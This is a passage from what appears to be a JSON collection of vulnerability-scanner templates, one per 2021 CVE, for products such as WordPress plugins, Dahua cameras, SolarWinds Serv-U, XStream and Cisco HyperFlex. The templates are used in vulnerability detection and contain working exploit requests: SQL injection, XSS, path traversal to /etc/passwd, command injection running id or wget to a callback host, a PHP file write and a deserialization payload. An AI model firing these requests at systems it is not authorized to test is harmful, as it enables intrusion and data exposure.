text/javascript, /; q=0.01\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\ncmd=put&target={{hash}}&content=%3c%3fphp%20echo%20%22{{randstr_1}}%22%3b%20%3f%3e\n","GET /product-downloads/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_3, \"{{randstr_1}}\")","status_code_3 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"hash","group":1,"regex":["\"hash\"\\:\"(.*?)\"\\,"],"internal":true}]}]},{"id":"CVE-2021-33044","info":{"name":"Dahua IPC/VTH/VTO - Authentication Bypass","severity":"critical"},"requests":[{"raw":["POST /RPC2_Login HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/javascript, */*; q=0.01\nConnection: close\nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\n\n{\"id\": 1, \"method\": \"global.login\", \"params\": {\"authorityType\": \"Default\", \"clientType\": \"NetKeyboard\", \"loginType\": \"Direct\", \"password\": \"Not Used\", \"passwordType\": \"Default\", \"userName\": \"admin\"}, \"session\": 0}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"result\":true","id","params","session"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":[",\"result\":true,\"session\":\"([a-z]+)\"\\}"],"part":"body"}]}]},{"id":"CVE-2021-35250","info":{"name":"SolarWinds Serv-U 15.3 - Directory Traversal","severity":"high"},"requests":[{"raw":["POST /?Command=NOOP&InternalFile=../../../../../../../../../../../../../../Windows/win.ini&NewWebClient=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n/?Command=NOOP\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["\\[(font|extension|file)s\\]"]},{"type":"status","status":[401]}]}]},{"id":"CVE-2021-24862","info":{"name":"WordPress RegistrationMagic <5.0.1.6 - Authenticated SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20AND%20(SELECT%205921%20FROM%20(SELECT(SLEEP(6)))LxjM)%20AND%20(7754=775&type=json HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/custom-registration-form-builder-with-submission-manager/admin/js/script_rm_utilities.js HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration_2>=6","status_code_2 == 200","contains(body_3, \"rm_user_role_mananger_form\")"],"condition":"and"}]}]},{"id":"CVE-2021-34429","info":{"name":"Eclipse Jetty - Information Disclosure","severity":"medium"},"requests":[{"raw":["GET /%u002e/WEB-INF/web.xml HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n\n","GET /.%00/WEB-INF/web.xml HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","java.sun.com"],"condition":"and"},{"type":"word","part":"header","words":["application/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-34640","info":{"name":"WordPress Securimage-WP-Fixed <=3.5.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET //wp-admin/options-general.php/\">/script%3E?page=securimage-wp-options%2F HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31249","info":{"name":"CHIYU TCP/IP Converter - Carriage Return Line Feed Injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/man.cgi?redirect=setting.htm%0d%0a%0d%0a&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Location: setting.htm",""],"condition":"and"},{"type":"status","status":[302]}]}]},{"id":"CVE-2021-24472","info":{"name":"Onair2 < 3.9.9.2 & KenthaRadio < 2.0.2 - Remote File Inclusion/Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp1/home-18/?qtproxycall=https://oast.me"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["

Interactsh Server

"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-26475","info":{"name":"EPrints 3.4.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24387","info":{"name":"WordPress Pro Real Estate 7 Theme <3.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /?ct_mobile_keyword&ct_keyword&ct_city&ct_zipcode&search-listings=true&ct_price_from&ct_price_to&ct_beds_plus&ct_baths_plus&ct_sqft_from&ct_sqft_to&ct_lotsize_from&ct_lotsize_to&ct_year_from&ct_year_to&ct_community=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&ct_mls&ct_brokerage=0&lat&lng HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","/wp-content/themes/realestate"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-46379","info":{"name":"D-Link DIR850 ET850-1.08TRb03 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/boafrm/formWlanRedirect?redirect-url=http://interact.sh&wlan_id=1"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-27561","info":{"name":"YeaLink DM 3.6.0.20 - Remote Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["uid","gid","groups"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["(u|g)id=.*"]}]}]},{"id":"CVE-2021-24291","info":{"name":"WordPress Photo Gallery by 10Web <1.5.69 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1\"%20onmouseover=alert(document.domain)//"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","words":["onmouseover=alert(document.domain)//","wp-content/uploads/photo-gallery"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-27309","info":{"name":"Clansphere CMS 2011.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22>"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">.php"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-37216","info":{"name":"QSAN Storage Manager <3.3.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/http_header.php"],"headers":{"X-Trigger-XSS":""},"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["!contains(tolower(header), 'x-xss-protection')"]},{"type":"word","part":"body","words":["\"HTTP_X_TRIGGER_XSS\":\"\""]},{"type":"word","part":"header","words":["text/html"]}]}]},{"id":"CVE-2021-37833","info":{"name":"Hotel Druid 3.0.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ew5px3=1","{{BaseURL}}/storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1","{{BaseURL}}/tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1","{{BaseURL}}/crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ef9xkbujgt24&form_availability_calendar_template=1"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24407","info":{"name":"WordPress Jannah Theme <5.4.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\naction=tie_ajax_search&query[]=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25112","info":{"name":"WordPress WHMCS Bridge <6.4b - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21389","info":{"name":"BuddyPress REST API <7.2.1 - Privilege Escalation/Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /wp-json/buddypress/v1/signup HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=UTF-8\n\n{\n \"user_login\":\"{{randstr}}\",\n \"password\":\"{{randstr}}\",\n \"user_name\":\"{{randstr}}\",\n \"user_email\":\"{{randstr}}@interact.sh\"\n}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["user_login","registered","activation_key","user_email"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-45380","info":{"name":"AppCMS - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/templates/m/inc_head.php?q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"\">"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-28854","info":{"name":"VICIdial Sensitive Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/agc/vicidial_mysqli_errors.txt"],"matchers-condition":"and","matchers":[{"type":"word","words":["text/plain"],"part":"header"},{"type":"status","status":[200]},{"type":"word","words":["vdc_db_query"],"part":"body"}]}]},{"id":"CVE-2021-44451","info":{"name":"Apache Superset <=1.3.2 - Default Login","severity":"medium"},"requests":[{"raw":["GET /login/ HTTP/1.1\nHost: {{Hostname}}\n","POST /login/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncsrf_token={{csrf_token}}&username={{username}}&password={{password}}\n","GET /dashboard/list/ HTTP/1.1\nHost: {{Hostname}}\n"],"payloads":{"username":["admin"],"password":["admin"]},"attack":"pitchfork","cookie-reuse":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header_2","words":["session"]},{"type":"word","part":"body_3","words":["DashboardFilterStateRestApi"]}],"extractors":[{"type":"regex","name":"csrf_token","group":1,"regex":["name=\"csrf_token\" type=\"hidden\" value=\"(.*)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2021-24946","info":{"name":"WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200 || status_code == 500","contains(content_type, \"text/html\")","contains(body, \"The event is finished\") || contains(body, \"been a critical error\")"],"condition":"and"}]}]},{"id":"CVE-2021-32305","info":{"name":"Websvn <2.6.1 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /search.php?search=%22;wget+http%3A%2F%2F{{interactsh-url}}%27;%22 HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept: */*\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2021-40960","info":{"name":"Galera WebTemplate 1.0 Directory Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/GallerySite/filesrc/fotoilan/388/middle//.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-29505","info":{"name":"XStream <1.4.17 - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n \n \n \n 2\n \n 3\n \n 12345\n \n com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content\n \n \n \n 12345\n \n \n true\n SOAP_11\n \n \n false\n \n \n \n \n aa\n aa\n \n \n \n \n \n UnicastRef\n {{interactsh-url}}\n 1099\n 0\n 0\n 0\n 0\n false\n \n \n {{interactsh-url}}\n 1099\n \n \n \n \n \n \n \n \n \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["timestamp","com.thoughtworks.xstream"],"condition":"or"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2021-1498","info":{"name":"Cisco HyperFlex HX Data Platform - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /storfs-asup HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\naction=&token=`wget http://{{interactsh-url}}`&mode=`wget http://{{interactsh-url}}`\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31856","info":{"name":"Layer5 Meshery 0.5.2 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-28937","info":{"name":"Acexy Wireless-N WiFi Repeater REV 1.0 - Repeater Password Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/password.html"],"matchers-condition":"and","matchers":[{"type":"word","words":["Password Setting","addCfg('username'","addCfg('newpass'"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-43725","info":{"name":"Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?data[performredirect]=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&page=login"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\">","name=\"data[performredirect]"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-36873","info":{"name":"WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/options.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\noption_page=iqblockcountry-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Diq-block-country%2Flibs%2Fblockcountry-settings.php&blockcountry_blockmessage=test&blockcountry_redirect=2&blockcountry_redirect_url=&blockcountry_header=on&blockcountry_nrstatistics=15&blockcountry_daysstatistics=30&blockcountry_geoapikey=&blockcountry_apikey=&blockcountry_ipoverride=NONE&blockcountry_debuglogging=on\n","GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(header_4, \"text/html\")","status_code_4 == 200","contains(body_4, 'blockcountry_blockmessage\\\">test')","contains(body_4, '

Block type

')"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["name=\"_wpnonce\" value=\"([0-9a-zA-Z]+)\""],"internal":true}]}]},{"id":"CVE-2021-21287","info":{"name":"MinIO Browser API - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["POST /minio/webrpc HTTP/1.1\nHost: {{interactsh-url}}\nContent-Type: application/json\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36\nContent-Length: 76\n\n{\"id\":1,\"jsonrpc\":\"2.0\",\"params\":{\"token\": \"Test\"},\"method\":\"web.LoginSTS\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","words":["We encountered an internal error"]}]}]},{"id":"CVE-2021-41878","info":{"name":"i-Panel Administration System 2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22document.domain%22)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[">","i-Panel Administration"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-23241","info":{"name":"MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/loginLess/../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-20124","info":{"name":"Draytek VigorConnect 6.0-B3 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd","{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"regex","regex":["root:.*:0:0:","for 16-bit app support"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-37304","info":{"name":"Jeecg Boot <= 2.4.5 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/jeecg-boot/actuator/httptrace/"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"traces\":[","\"headers\"","\"request\":{"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24227","info":{"name":"Patreon WordPress <1.7.0 - Unauthenticated Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/?patron_only_image=../../../../../../../../../../etc/passwd&patreon_action=serve_patron_only_image"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24436","info":{"name":"WordPress W3 Total Cache <2.1.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=w3tc_extensions&extension=\"%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, '>&action=view')","contains(header_2, \"text/html\")"],"condition":"and"}]}]},{"id":"CVE-2021-36749","info":{"name":"Apache Druid - Local File Inclusion","severity":"medium"},"requests":[{"raw":["POST /druid/indexer/v1/sampler?for=connect HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"type\":\"index\",\"spec\":{\"type\":\"index\",\"ioConfig\":{\"type\":\"index\",\"firehose\":{\"type\":\"http\",\"uris\":[\" file:///etc/passwd \"]}},\"dataSchema\":{\"dataSource\":\"sample\",\"parser\":{\"type\":\"string\", \"parseSpec\":{\"format\":\"regex\",\"pattern\":\"(.*)\",\"columns\":[\"a\"],\"dimensionsSpec\":{},\"timestampSpec\":{\"column\":\"no_ such_ column\",\"missingValue\":\"2010-01-01T00:00:00Z\"}}}}},\"samplerConfig\":{\"numRows\":500,\"timeoutMs\":15000}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","druid:*:1000:1000:"],"condition":"or"}]}]},{"id":"CVE-2021-35464","info":{"name":"ForgeRock OpenAM <7.0 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/openam/oauth2/..;/ccversion/Version"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Set-Cookie: JSESSIONID="]},{"type":"word","part":"body","words":["Version Information -","openam/ccversion/Masthead.jsp"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31862","info":{"name":"SysAid 20.4.74 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers":[{"type":"dsl","dsl":["(body == \"false \")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2021-20323","info":{"name":"Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/auth/realms/master/clients-registrations/default","{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect","{{BaseURL}}/realms/master/clients-registrations/default","{{BaseURL}}/realms/master/clients-registrations/openid-connect"],"body":"{\"Test\":1}","stop-at-first-match":true,"headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Unrecognized field \"Test"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2021-25052","info":{"name":"WordPress Button Generator <2.3.3 - Remote File Inclusion","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=wow-company&tab=http://{{interactsh-url}}/ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","name":"http","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-22214","info":{"name":"Gitlab CE/EE 10.5 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"],"body":"{\"content\": \"include:\\n remote: http://127.0.0.1:9100/test.yml\"}\n","headers":{"Content-Type":"application/json"},"host-redirects":true,"max-redirects":3,"matchers":[{"type":"word","part":"body","words":["does not have valid YAML syntax"]}]}]},{"id":"CVE-2021-24731","info":{"name":"Pie Register < 3.7.1.6 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /wp-json/pie/v1/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nuser_login='+AND+(SELECT+8149+FROM+(SELECT(SLEEP(3)))NuqO)+AND+'YvuB'='YvuB&login_pass=a\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/json\")","contains(body, \"User credentials are invalid.\")"],"condition":"and"}]}]},{"id":"CVE-2021-28419","info":{"name":"SEO Panel 4.8.0 - Blind SQL Injection","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nCookie: _csrf={{rand_base(54,\"abc\")}};\n","POST /login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{BaseURL}}login.php\nCookie: _csrf={{rand_base(54,\"abc\")}};\n\nsec=login&red_referer=http%3A%2F%2F{{BaseURL}}&userName={{username}}&password={{password}}&login=\n","GET /archive.php?from_time=2021-04-25&order_col=(SELECT+7397+FROM(SELECT(SLEEP(3)))test)&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-04-25&website_id= HTTP/1.1\nHost: {{Hostname}}\nCookie: _csrf={{rand_base(54,\"abc\")}};\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration_3>=6","status_code_3 == 200","contains(body_3, \"Overall Report Summary\")"],"condition":"and"}]}]},{"id":"CVE-2021-45967","info":{"name":"Pascom CPS Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24510","info":{"name":"WordPress MF Gig Calendar <=1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=mf_gig_calendar&action=edit&id=\"><\" HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-44427","info":{"name":"Rosario Student Information System Unauthenticated SQL Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/Side.php"],"body":"sidefunc=update&syear=111'","headers":{"Content-Type":"application/x-www-form-urlencoded; charset=utf-8"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB Execute Failed. ERROR:","unterminated quoted string"],"condition":"and"},{"type":"word","part":"header","words":["RosarioSIS="]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3002","info":{"name":"Seo Panel 4.8.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /seo/seopanel/login.php?sec=forgot HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsec=requestpass&email=test%40test.com%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3e11&code=AAAAA&login=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["","seopanel"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-39320","info":{"name":"WordPress Under Construction <1.19 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: 